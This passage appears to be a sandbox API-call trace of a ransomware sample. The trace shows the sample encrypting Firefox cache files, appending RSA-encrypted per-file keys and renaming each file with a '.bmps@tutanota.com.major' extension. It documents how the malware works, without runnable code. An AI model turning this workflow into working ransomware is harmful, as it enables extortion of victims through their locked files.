lpOverlapped=0x0) returned 1 [0271.754] CloseHandle (hObject=0x1b84) returned 1 [0271.754] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\522FF036651FEA29F227BFB14BD934175DDBA62A" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\522ff036651fea29f227bfb14bd934175ddba62a"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\522FF036651FEA29F227BFB14BD934175DDBA62A.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\522ff036651fea29f227bfb14bd934175ddba62a.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0271.756] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0271.756] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\514D7C625328106E43CEC7FD7CF71AEDA0A3101F", dwFileAttributes=0x80) returned 1 [0271.757] ReadFile (in: hFile=0x1b84, lpBuffer=0x66e948, nNumberOfBytesToRead=0x413, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e948*, lpNumberOfBytesRead=0x2e3f9b4*=0x413, lpOverlapped=0x0) returned 1 [0272.106] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-1043, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0272.106] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f3e850*, nNumberOfBytesToWrite=0x413, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3e850*, lpNumberOfBytesWritten=0x2e3f9b4*=0x413, lpOverlapped=0x0) returned 1 [0272.107] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x413 [0272.107] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0272.107] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0272.107] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0272.107] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0272.108] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0272.108] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="VW8x3f3xjR+aGoPOWlanaAJ4c8mpqvl1uilnJEKwWjazrw9Ps0zxiOgFBTuPNz90\n9kazjDyMS96RA0Ba+laWoww87N0KU6oC+mnbn2Bz7ZejZ3ZymH4ch/a8GncOWlf+\nCd5dWDVHu5gHpqBJxBvn7pH0buaTiFoMdWl3KRTuOhf8jo4uEN7+N4Wd55gaeMUR\ne4ufQYG0ec61uvETYGLKWt0c9HvX+NiBHrugLOF7VrrHmqXsoUi/yA/K3ogh0TFf\nlf1a2dYzyw3p4pbnioUky8IFdbn7EA8st8GdbUFNDC2cnO+xHevhhNVLgRlLmBFX\nvaeUAukUa/tCsABvY99hcw==\n", pcchString=0x2e3f9a8) returned 1 [0272.108] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0272.108] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0272.108] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0272.109] CloseHandle (hObject=0x1b84) returned 1 [0272.109] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\514D7C625328106E43CEC7FD7CF71AEDA0A3101F" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\514d7c625328106e43cec7fd7cf71aeda0a3101f"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\514D7C625328106E43CEC7FD7CF71AEDA0A3101F.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\514d7c625328106e43cec7fd7cf71aeda0a3101f.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0272.111] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0272.111] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\50368CB52EB7460247084562523D1AE6E2D6FF15", dwFileAttributes=0x80) returned 1 [0272.111] ReadFile (in: hFile=0x1b84, lpBuffer=0x2f3b030, nNumberOfBytesToRead=0x1658, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3b030*, lpNumberOfBytesRead=0x2e3f9b4*=0x1658, lpOverlapped=0x0) returned 1 [0272.136] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-5720, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0272.136] WriteFile (in: hFile=0x1b84, lpBuffer=0x343b820*, nNumberOfBytesToWrite=0x1658, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343b820*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1658, lpOverlapped=0x0) returned 1 [0272.137] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1658 [0272.137] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0272.137] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0272.137] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0272.137] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0272.138] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0272.138] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="78j8gxp2zad87jsRbKm+/AOq7gmu94ymcZ9hy0uLMK8fhqy+U2up2bVCSWrmEkza\nIx2LjQLLCNlvz8ytYCtW/dPFmkGaG5DAjNghxsNr8VaKiSjQcTRbO/RwvD8lTaRa\nAnLHCMXwX+JeMjfiZiJMAEstIcpViZZSPsf6U1mj+/QM3ZgwnNDELJ+Q6QLLP33Z\n2UeqyjdxR6rvx08yxCr1/KN+JGVM1zGY1PFC0m+rEXKHlSvyNCFQMyF/tTesNHit\nVYNWEl/uaqZ6ESy30Gy1EQKCWPVdD/6E5Mu0Pu9ZkhEjDts2V6AcXZaAA2NFbybt\nVALtJptR38SDtFORa549jw==\n", pcchString=0x2e3f9a8) returned 1 [0272.138] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0272.138] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0272.138] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0272.139] CloseHandle (hObject=0x1b84) returned 1 [0272.139] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\50368CB52EB7460247084562523D1AE6E2D6FF15" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\50368cb52eb7460247084562523d1ae6e2d6ff15"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\50368CB52EB7460247084562523D1AE6E2D6FF15.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\50368cb52eb7460247084562523d1ae6e2d6ff15.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0272.141] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0272.141] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4FCA54FC9B5C08F4A61C96D6642C029B00E50F17", dwFileAttributes=0x80) returned 1 [0272.142] ReadFile (in: hFile=0x1b84, lpBuffer=0x3540048, nNumberOfBytesToRead=0xab58, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3540048*, lpNumberOfBytesRead=0x2e3f9b4*=0xab58, lpOverlapped=0x0) returned 1 [0272.324] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-43864, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0272.324] WriteFile (in: hFile=0x1b84, lpBuffer=0x354aba8*, nNumberOfBytesToWrite=0xab58, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x354aba8*, lpNumberOfBytesWritten=0x2e3f9b4*=0xab58, lpOverlapped=0x0) returned 1 [0272.325] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xab58 [0272.325] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0272.325] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0272.326] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0272.326] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0272.326] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0272.326] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="uO7eT8arMwWoE/93R9QUdvMuXOnvDM8mW3IK+hUD2LYEBcsjntwPWBFWtA5whNX5\nPJkxvV+fMRg2hlXSU6B/9xrXgGKuj1R7MH5Zxu/97Ekm4KGins6ad8k3lYNUaVY/\noZLmjm41Qn5OOewzx9FhjZnRXZLIeNo2UDUOFX7xMS5KalqV3SNrvPODL3RxEawz\nwmi25UyMBCS5C6GgdY0fTk2qB/jpgV+uXUbU5Xr+teHvO2+ZPMunEHnrPS6gcRmE\n4j+/zlb+c7UImE9b7xSCu7UuIKJL4fTQI2PAaM6M56HttVAoVpro7GD7aDBMOkxC\nn1oPVwdk8eKZP+3FndP2HA==\n", pcchString=0x2e3f9a8) returned 1 [0272.326] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0272.326] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0272.326] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0272.327] CloseHandle (hObject=0x1b84) returned 1 [0272.327] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4FCA54FC9B5C08F4A61C96D6642C029B00E50F17" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\4fca54fc9b5c08f4a61c96d6642c029b00e50f17"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4FCA54FC9B5C08F4A61C96D6642C029B00E50F17.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\4fca54fc9b5c08f4a61c96d6642c029b00e50f17.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0272.413] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0272.413] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4FC87940361F2B04B3366CC184210D87808060BF", dwFileAttributes=0x80) returned 1 [0272.414] ReadFile (in: hFile=0x1b84, lpBuffer=0x343b820, nNumberOfBytesToRead=0x8d24, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343b820*, lpNumberOfBytesRead=0x2e3f9b4*=0x8d24, lpOverlapped=0x0) returned 1 [0272.415] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-36132, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0272.415] WriteFile (in: hFile=0x1b84, lpBuffer=0x3540048*, nNumberOfBytesToWrite=0x8d24, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3540048*, lpNumberOfBytesWritten=0x2e3f9b4*=0x8d24, lpOverlapped=0x0) returned 1 [0272.416] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x8d24 [0272.416] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0272.416] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0272.416] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0272.416] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0272.417] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0272.417] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="ITfL7v0mL6UKR7wK7QtMq3z4Qx9emEk6SXMwSpdLlZwojNL29uL77vIi2D/E0k07\nX8RMRXmqyh95YIN41CBlq0SQn9aXl/2gIj4zPeA1ItuzZgKrzBzDiYWXRn3oE+2z\nq6S/+fqLImIqrWo0YwmUyUjRncTqT5iPHB4TPwI1ehvoyK2iaFcIclkRSEBlsT1l\nN7EJ+/3bVCeuoarXLjg0DmAGumbJNtI407D1IyK+DNMx9Y/Uoc/7mMEEQ/jXjJUa\njcWhkFAlDKEutpOzRRv1alAnSLiJZ+9ch5J3F7HXQGPMW5n/tXKe9CqXrV81Y/7i\nm1mTlDES3VsyoiYtfUg0cw==\n", pcchString=0x2e3f9a8) returned 1 [0272.417] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0272.417] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0272.417] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0272.417] CloseHandle (hObject=0x1b84) returned 1 [0272.417] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4FC87940361F2B04B3366CC184210D87808060BF" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\4fc87940361f2b04b3366cc184210d87808060bf"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4FC87940361F2B04B3366CC184210D87808060BF.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\4fc87940361f2b04b3366cc184210d87808060bf.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0272.419] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0272.419] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4FBCDA21ACAE6C9FD6B604C7A16BAE88E45F4D18", dwFileAttributes=0x80) returned 1 [0272.419] ReadFile (in: hFile=0x1b84, lpBuffer=0x3446048, nNumberOfBytesToRead=0xf8d, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3446048*, lpNumberOfBytesRead=0x2e3f9b4*=0xf8d, lpOverlapped=0x0) returned 1 [0272.421] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-3981, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0272.421] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f3b030*, nNumberOfBytesToWrite=0xf8d, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3b030*, lpNumberOfBytesWritten=0x2e3f9b4*=0xf8d, lpOverlapped=0x0) returned 1 [0272.421] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xf8d [0272.421] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0272.421] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0272.422] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0272.422] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0272.422] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0272.422] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="lWUYh1T06GA9oj+noh3k0RnF7pggrP+2XOrDNR9hSF2dG7mzX9iv0Xud640O/ba9\nqNF/klQQZJHofH5OOKdJ8xNaJ+Ka4ZttPiec4v0stTFIdoZwEaOZR9TetGtJRFlY\n8jnvnw1ZjYVM4P5OO/slyvZPOE9iVsHRq4vgKFEblhy1LiTtp3AOeQg9kpcUkRFD\nUElqo/FYX5QoHFn33gq+ommkflpW9/3kYfK13PwO6bOGOg8sBmSvK3rSYBwZ7tVz\n0PC1EoS0QvZ6LqYe7dqmPxfE7geEUswee4e8bAzPoPZX8atWCVhVjdAZ7Gfh4gMU\nhQErW6Bw7BJ2wJa2o0kRRg==\n", pcchString=0x2e3f9a8) returned 1 [0272.422] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0272.422] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0272.422] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0272.423] CloseHandle (hObject=0x1b84) returned 1 [0272.423] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4FBCDA21ACAE6C9FD6B604C7A16BAE88E45F4D18" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\4fbcda21acae6c9fd6b604c7a16bae88e45f4d18"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4FBCDA21ACAE6C9FD6B604C7A16BAE88E45F4D18.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\4fbcda21acae6c9fd6b604c7a16bae88e45f4d18.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0272.425] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0272.425] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4F680E68B8C682B5D2540FA7BE7B7F0D7521D9C9", dwFileAttributes=0x80) returned 1 [0272.425] ReadFile (in: hFile=0x1b84, lpBuffer=0x5a8108, nNumberOfBytesToRead=0x37e, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesRead=0x2e3f9b4*=0x37e, lpOverlapped=0x0) returned 1 [0272.426] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-894, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0272.426] WriteFile (in: hFile=0x1b84, lpBuffer=0x66e948*, nNumberOfBytesToWrite=0x37e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e948*, lpNumberOfBytesWritten=0x2e3f9b4*=0x37e, lpOverlapped=0x0) returned 1 [0272.427] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x37e [0272.427] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0272.427] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0272.427] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0272.427] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0272.427] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0272.427] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: 